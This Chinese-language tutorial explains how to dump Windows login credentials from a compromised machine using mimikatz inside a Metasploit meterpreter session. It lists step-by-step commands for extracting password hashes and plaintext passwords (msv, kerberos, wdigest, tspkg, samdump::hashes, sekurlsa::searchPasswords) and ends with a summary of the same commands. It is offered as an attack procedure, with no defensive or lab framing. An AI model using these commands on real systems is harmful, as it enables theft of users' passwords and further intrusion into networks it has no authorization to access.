meterpreter中使用mimikatz獲取windows密碼

進去meterpreter后getuid一下

這獲得系統管理員權限

開始

加載mimikatz模塊

load mimikatz

加載成功.

第一種方法：

獲取登錄密碼的hash值

msv

上面已經是得到hash值了. 下面算明文密碼.

獲取明文密碼

kerberos

look...拿到登錄的明文密碼了.

第二種方法：

使用另一種方式獲取哈希值

mimikatz_command -f samdump::hashes

根據上面的方式獲取明文密碼

mimikatz_command -f sekurlsa::searchPasswords

第三種方法：

Wdigest命令

這個命令呢, 沒有上面的復雜,加載模塊后直接調用這個wdigest.

wdigest

第四種方法：

tspkg命令

tspkg

 

總結

一、
load mimikatz #加載mimikatz
msv #獲取hash值
kerberos #獲取明文

二、
load mimikatz #加載mimikatz
wdigest #獲取系統賬戶信息

三、
load mimikatz #加載mimikatz
tspkg #獲取系統賬戶信息

四、
load mimikatz #加載mimikatz
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords